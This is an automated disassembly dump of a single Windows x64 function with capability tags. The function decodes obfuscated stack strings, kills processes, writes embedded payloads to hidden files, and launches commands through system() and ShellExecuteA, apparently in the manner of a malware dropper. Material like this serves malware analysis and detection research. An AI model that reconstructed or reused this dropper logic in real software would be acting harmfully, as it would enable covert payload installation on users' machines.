Function at 0x140083720
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f7010]
xor rax, rsp
mov qword [rbp + 0x370], rax
call fcn.140080c70
mov dword [rbp - 0x18], 0x64196a69
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007e050
lea r8, [0x14068a590]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007e2e0
cmp qword [rax + 0x18], 0x10
jb 0x140083797
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14068d210], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b530
nop
cmp qword [0x14068d210], 0xffffffffffffffff
jne 0x1400845b6
cmp byte [0x14068d1d4], r14b
jne 0x14008387c
lea edx, [r14 + 0xf]
lea rcx, [rsp + 0x40]
call fcn.1400808e0
mov rdx, rax
lea rcx, [0x14068a670]
call fcn.14007d230
nop
lea rcx, [rsp + 0x40]
call fcn.14007b530
nop
lea rbx, [0x14068a670]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rbx, qword [0x14068a670]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14007b590
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.14007b530
nop
mov dword [rsp + 0x40], 0x5f6a7d75
mov dword [rsp + 0x44], 0x5d544a49
mov dword [rsp + 0x48], 0x3a246e5a
mov word [rsp + 0x4c], Ordinal_41
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140087130
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b590
mov rcx, rax
call fcn.140080d90
test eax, eax
je 0x14008397a
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400836b0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d8ef0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d8c00]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d8e60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d8b40]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d91b0]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0xa9
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.140086e00
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007ca10
lea rdx, [0x14007cbe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x494c5947
mov word [rsp + 0x44], 0x5e
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140086fe0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x1400845b8
movdqa xmm0, xmmword [0x1402d8e20]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], Ordinal_35
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.1400870a0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b590
mov rcx, rax
call fcn.140080d90
test eax, eax
je 0x140083a2b
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400836b0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d8f00]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d8d00]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d8b10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d8b70]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d9160]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xefede9e8
mov dword [rbp - 0x2c], 0x100a2f9
lea rcx, [rbp - 0x80]
call fcn.140086dd0
lea rdx, [rbp - 0x80]
jmp 0x140083932
movdqa xmm0, xmmword [0x1402d8d30]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x642c2b2e
mov dword [rsp + 0x54], 0x28342e
mov byte [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call fcn.140086e90
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b590
mov rcx, rax
call fcn.140080d90
test eax, eax
je 0x140083a9d
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0x5f7d7972
mov dword [rsp + 0x44], 0x51495748
mov dword [rsp + 0x48], 0x3a246e4f
mov word [rsp + 0x4c], Ordinal_41
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140087130
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b590
mov rcx, rax
call fcn.140080d90
test eax, eax
je 0x140083b10
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0x1000274
lea rcx, [rsp + 0x40]
call fcn.140086ef0
lea rax, [rsp + 0x40]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140083b31
lea rdx, [rsp + 0x40]
lea rdi, [0x14068a0d0]
mov rcx, rdi
call fcn.14007c620
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a1f0]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a5f0]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x140689e90]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x140689e70]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x140689fb0]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a3d0]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a390]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a210]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a510]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a050]
call fcn.14007c480
call fcn.140083570
movzx edx, al
lea rcx, [0x14068a530]
call fcn.14007c480
sub rbx, 1
jne 0x140083b65
lea rcx, [rbp + 0x110]
call fcn.14007d200
lea rcx, [rbp + 0x110]
call fcn.14007c460
nop
lea rcx, [rbp + 0x130]
call fcn.14007d200
lea rcx, [rbp + 0x130]
call fcn.14007c460
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.1400831f0
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007d230
nop
lea rcx, [rsp + 0x60]
call fcn.14007b530
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.1400832f0
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007d230
nop
lea rcx, [rsp + 0x60]
call fcn.14007b530
nop
mov word [rsp + 0x40], WSACleanup
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b420
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083d40
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c620
movzx eax, byte [0x14068d1d4]
test al, al
jne 0x140083d7a
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b510
lea rdx, [rbp + 0x130]
jmp 0x140083d85
cmp al, 1
jne 0x140083d8d
lea rdx, [0x140689ed0]
mov rcx, rdi
call fcn.14007b510
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x14068a0d0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x14068a0d0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], WSACleanup
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b420
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140083de2
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c620
nop
lea rcx, [rbp + 0xf0]
call fcn.14007d200
lea rcx, [rbp + 0xf0]
call fcn.14007c460
nop
lea rdx, [0x14068a530]
lea rcx, [rbp + 0xf0]
call fcn.14007b510
mov dword [rsp + 0x40], 0x4b4e451b
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e050
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083e50
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.14007c620
nop
lea rcx, [rbp + 0xb0]
call fcn.14007d200
lea rcx, [rbp + 0xb0]
call fcn.14007c460
nop
lea rdx, [0x14068a1f0]
lea rcx, [rbp + 0xb0]
call fcn.14007b510
mov dword [rsp + 0x40], 0x5d4f531b
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e050
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083ec0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007c620
lea r8, [rbp + 0xf0]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140088140
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xb0]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140088140
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2e2a00]
lea rdx, [0x1402f9a10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x14066fa10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007d200
lea rcx, [rbp + 0x30]
call fcn.14007c460
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b510
mov word [rsp + 0x40], reloc.WS2_32.dll_select
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b420
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140084090
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007c620
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b510
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007e980
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.14007b5d0
mov rcx, rax
call fcn.140080d90
mov rbx, rax
test eax, eax
je 0x140084131
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007d200
lea rcx, [rbp + 0x50]
call fcn.14007c460
nop
mov dword [rsp + 0x40], 0x57135142
mov dword [rsp + 0x44], 0x4c565347
mov dword [rsp + 0x48], 0x1001a5c
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140084170
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c620
lea rdx, [0x14068a590]
lea rcx, [rbp + 0x50]
call fcn.14007b510
mov dword [rsp + 0x40], 0x5a5a5011
mov dword [rsp + 0x44], 0x50435745
mov dword [rsp + 0x48], 0x1001a04
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400841c2
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c620
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b510
mov dword [rsp + 0x40], 0x4a404c17
mov dword [rsp + 0x44], 0x551d015e
mov dword [rsp + 0x48], 0x272f325a
mov word [rsp + 0x4c], gethostbyaddr
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140087130
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140084220
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c620
mov dword [rsp + 0x40], 0x46145041
mov dword [rsp + 0x44], 0x19485842
mov dword [rsp + 0x48], 0x585f5a5c
mov dword [rsp + 0x4c], 0x1004b57
lea rcx, [rsp + 0x40]
call fcn.14007b430
lea rcx, [rsp + 0x40]
call fcn.14007e980
movdqa xmm0, xmmword [0x1402d8d50]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140087190
lea rcx, [rsp + 0x40]
call fcn.14007e980
mov dword [rsp + 0x40], 0x49195b44
mov dword [rsp + 0x44], 0x1e4d534f
mov dword [rsp + 0x48], 0x2a2749
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140087010
lea rcx, [rsp + 0x40]
call fcn.14007e980
mov dword [rsp + 0x40], 0x5e195b44
mov dword [rsp + 0x44], 0x4a58505e
mov dword [rsp + 0x48], 0x2537605a
mov word [rsp + 0x4c], Ordinal_41
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140087130
lea rcx, [rsp + 0x40]
call fcn.14007e980
nop
lea rcx, [rbp + 0x70]
call fcn.14007d200
lea rcx, [rbp + 0x70]
call fcn.14007c460
nop
mov dword [rsp + 0x40], 0x49195b44
mov dword [rsp + 0x44], 0x1e4d534f
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140087160
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140084340
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007c620
lea rdx, [0x14068a590]
lea rcx, [rbp + 0x70]
call fcn.14007b510
nop
lea rcx, [rbp + 0x90]
call fcn.14007d200
lea rcx, [rbp + 0x90]
call fcn.14007c460
nop
mov dword [rsp + 0x40], 0x50135142
mov dword [rsp + 0x44], 0x4c525a50
mov dword [rsp + 0x48], 0x1001a5c
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400843b0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007c620
lea rdx, [0x14068a590]
lea rcx, [rbp + 0x90]
call fcn.14007b510
nop
lea rcx, [rbp + 0xd0]
call fcn.14007d200
lea rcx, [rbp + 0xd0]
call fcn.14007c460
nop
mov dword [rsp + 0x40], 0x46145041
mov dword [rsp + 0x44], 0x4d4a5642
mov word [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_26
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b460
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140084423
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd0]
call fcn.14007c620
lea rdx, [0x14068a590]
lea rcx, [rbp + 0xd0]
call fcn.14007b510
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.14007e980
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.14007e980
lea rcx, [rbp + 0x10]
call fcn.140082970
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x260]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x14068d1d8], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x14068d1d4]
cmp al, 1
jne 0x140084560
lea rcx, [0x14068a670]
call fcn.14007b500
mov rbx, rax
jmp 0x14008456b
test al, al
jne 0x1400845a2
mov rbx, qword [0x14068d1d8]
mov dword [rsp + 0x40], 0x5652465a
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e020
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140089e50
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret